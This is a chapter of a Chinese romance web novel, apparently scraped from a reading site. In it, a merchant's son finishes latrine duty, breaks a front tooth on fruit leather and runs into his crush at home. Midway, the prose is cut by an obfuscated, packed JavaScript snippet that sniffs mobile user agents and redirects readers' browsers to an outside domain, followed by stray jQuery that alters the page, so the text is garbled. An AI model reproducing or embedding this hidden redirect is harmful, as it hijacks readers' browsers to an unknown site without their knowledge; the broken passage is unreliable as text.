另一边。
明瑾三人捏着鼻子来到了臭气熏天的粪坑前。
“真狠啊,老丁头,”张牧捏着鼻子,边扫边干呕,“在家里我爹都不敢罚我干这种活……呕!日他祖宗的,这是哪头猪拉了这么多?”
李司看上去快被熏晕了,脸色发青地走到一边吐去了。
“少来,你方才要是动静小点儿,我们至于这样吗?”
明瑾怨气冲天地抱怨。
要不是这里太臭,他一刻也不想多待,今日他非得揍张牧这小子一顿不可——叫他方才乱嚷嚷!臭死了!
还有他写的诗,也被老丁头给撕了。
明瑾委屈地想,自己好不容易才写出来那么漂亮端正的字迹,还想着等找到那人之后,再当面送给他呢。
张牧自知理亏:“等今天回去,我叫家里管家替你打听打听那人,行了吧?”
明瑾满意了:“这还差不多。”
虽然这活腌臜了些,但和张牧李司他们在一起打打闹闹,倒也没那么难熬。
明瑾想着白日里文轻尘的叮嘱,甚至还主动说要留下来帮他们把工具归位,让张李二人早点回家。
“他转性了?”张牧扭头看向李司,震惊道,“上一次逃课前他说的那番话,你还记得不?”
李司挠了挠头:“记得,他说只有受虐狂才爱上学,多在书院待一炷香他就短寿一个时辰。”
明瑾面不改色:“有吗?我不记得了。”
然后抡起笤帚作势要抽他俩的屁股,张牧和李司被他撵得上蹿下跳,忙不迭地丢下他跑了。
远远地还冲他嬉笑挥手:
“明大少爷,明天见!”
明瑾握着笤帚翻了个白眼:“明天放旬假,我看你俩是上课上得神志不清了!”
打发走两位损友,他慢悠悠地收拾好地上的工具,放回原位,去水池旁洗干净手,抬头看了看天色。
日暮西山,霞光灿然。
等到了家,应该差不多就过饭点了吧。
明瑾哼着“天上掉下个林妹妹”的调子,磨磨蹭蹭、不紧不慢地踱出了书院大门。
这副轻浮浪荡的模样,要是丁弘毅见了,估计又得深恶痛绝地骂上一句纨袴膏粱,不堪造就。
不过现在天色迟暮,书院里的人早就走光了,明瑾自然不怕。
“哎呦我的小祖宗,你怎么这么晚才出来?又被先生留堂罚站了?”
守在门口的独眼老仆急得直跺脚。
就连他手里牵着的骡子,也早等得不耐烦了,鼻孔狠狠出气,还在原地撅了两下蹄子。
“今天府上可是有一位远来的要客,老爷夫人特意叮嘱我早些来接您,大少爷啊,您……您这身上是什么味儿?”
明瑾低头闻了闻,久处其中不觉其臭,他倒觉得还好。
正好回去还能用这个当借口不见客。
他伸出小手,安抚地摸了两下暴躁的骡子,无所谓道:“扫了一下午茅厕,回去洗洗就是了。”
老仆拿他没办法,只好唉声叹气地把这小魔头抱上骡子,牵着骡子往明府的方向走。
极目望去,天边霞光灿然,犹如气蒸霞蔚之山。
老仆一路走一路念叨着明瑾不该晚归的事,明瑾没多久就被他唠叨得耳朵起茧,忙开口岔开话题问道:“文叔,家里那客人是什么来头,你可知道?”
文叔摇了摇头:“不知,但老爷对那人的态度很奇怪。”
“奇怪?哪里奇怪?”
明瑾从骡背上的负囊里掏出晴儿她们准备的零嘴,先吃了一块糕点垫垫肚子,又惊喜地翻出一张果丹皮,心里琢磨着,该不会是债主上门讨债了吧?
他有些没良心地腹诽:都说父债子偿,老爹你当奸商坑别人就算了,可千万别坑亲儿子啊。
文叔道:“具体的我也说不上来,总之,少爷您回去看看就知道了。”
“有什么好看的?无非就是老爹花钱打点的门路,或者自个儿上门要钱的财神爷罢了,”明瑾轻哼一声,“还什么‘朋友’……爹娘真当我是三岁小孩呢。”
他们明氏商行,在江南的生意做得很大。
布匹、粮食、船运、药材……几乎方方面面都沾一些,名下的田庄更是占地近千亩。
但正所谓“商贾虽富,服止布衣”*,在大雍,再有钱的商人也依旧是布衣阶层。
即使江南地区的富商并不严格遵守律令,穿细葛布或本白麻衣,大多都身披罗绮穿金戴银,然而名籍却仍称布衣,永远要被食禄者压上一头。
明瑾是知道的,家里生意每年获得的利润,起码有五成以上都要孝敬出去。
不然魏金宝那样的蠢货,也不会在学院里如此嚣张。
要不是老爹前两年花重金打点门路,估计想要分一杯羹的牛鬼蛇神还要更多呢。
文叔扭头看向明瑾。
刚刚发表一番成熟言论的少年正骑在骡背上,和一张比自己脸还大的果丹皮奋斗,脸色狰狞地咬着一角,就连说话声都含含糊糊的,一张小脸憋得通红。
虽然懂的道理不少,但果然还是个半大孩子啊。
文叔慈爱一笑:“是,大少爷果然聪慧过人。”
两人一骡没走出多远,明瑾突然发出一声哀嚎。
文叔吓了一跳,赶忙停下来查看:“少爷怎么了?可是哪里不舒服?”
明瑾捂住嘴巴,含糊道:“没、没什么,刚才颠了一下,咬到舌头了,不打紧。”
待到文叔将信将疑地转过头去,他这才欲哭无泪地放下手。
看着昏暗光线下,掌心里那颗不幸阵亡的门牙,明瑾恨恨地把罪魁祸首——那张比牛皮纸还硬的果丹皮,用力扔到了草丛里。
然后暗暗在心中发誓:
从今天开始,直到门牙重新长好,他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171804|180712||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
再也不要在人前开口说话了!
天王老子来了都不行!
明瑾的决心十分坚定。
直到他骑着骡子拐过弯,看到了明府门口停着的马车。
明老爷那心宽体胖的身躯将来客的身形遮掩大半,脸上堆着的笑容倒是一如既往地灿烂——不过,按照明瑾对自家老爹的了解,他笑得这么情真意切的时候着实不多。
这人该不会是个四品官吧?
“明瑾?”
文轻尘的余光瞥见他,眉头狠狠一跳,硬是挤出一抹笑容,温和亲切地朝他招了招手:“我儿来得正巧,快过来送客!”
她笑容灿烂,同时用眼神警告明瑾:
待会再找你算账,现在不过来你就死定了!
刚要拔腿溜走的明瑾:“…………”
救命!他今日是被霉神老爷缠上了吗?
没办法,既然被发现了,他也只能自认倒霉。
明瑾乖乖跳下骡子,老大不情愿地走过去。
刚准备敷衍地行礼告辞,就听到文轻尘清了清嗓子介绍说:“这位是宁先生,等过几日,他会来府上替你举办剪发仪式。”
听到这儿,明瑾终于勉强打起精神。
他兴致缺缺地抬起眼,看向了这位宁先生。
只一眼,便犹如五雷灌顶——
“是你!!?”
明瑾呆呆地看着负手立于马车前的白衣青年。
灯火削出他年轻的骨相,不过二十许年纪,通身却凝着寒潭沉璧般的静气,皮肤似新剖的冷玉,在灯下沁出润泽的薄光。
这人活像一尊从冰窟里刨出来的玉观音,偏又生了一双举世罕见的琥珀金眸,眼风淡淡地扫过来,跟个钩子似的,直往人血肉骨缝里钻。
明瑾的呼吸陡然加快,一颗心控制不住地呯呯直跳起来。
他几乎要头晕目眩了——
这算什么?
众里寻他千百度,得来全不费工夫?
他的心上人,竟是他们明家的座上宾!
明瑾痴痴地与心上人对视,嘴角不自觉地露出一抹羞涩笑容来,小脑瓜飞速转动,正准备说点什么,至少得给对方留下一个好印象……
突然,他打了个激灵。
明瑾后知后觉地想起了自己现在的状态——
臭气熏天。
还没有牙。
不对。
不对不对不对!!!
这和他想象中的再见一点都不一样!
顷刻间天塌地陷,明瑾羞愤欲死,咬着牙说了一声“抱歉失礼了”,扭头跑进明府的大门,险些把路过的晴儿撞倒。
“少爷?!”
明瑾顾不上理会她惊慌的呼唤,他强忍着鼻子的酸涩,扑到自己屋内的床上,掩耳盗铃地用被子盖住脑袋,放声大哭起来。
这是……这绝对是,他人生中最耻辱的一天!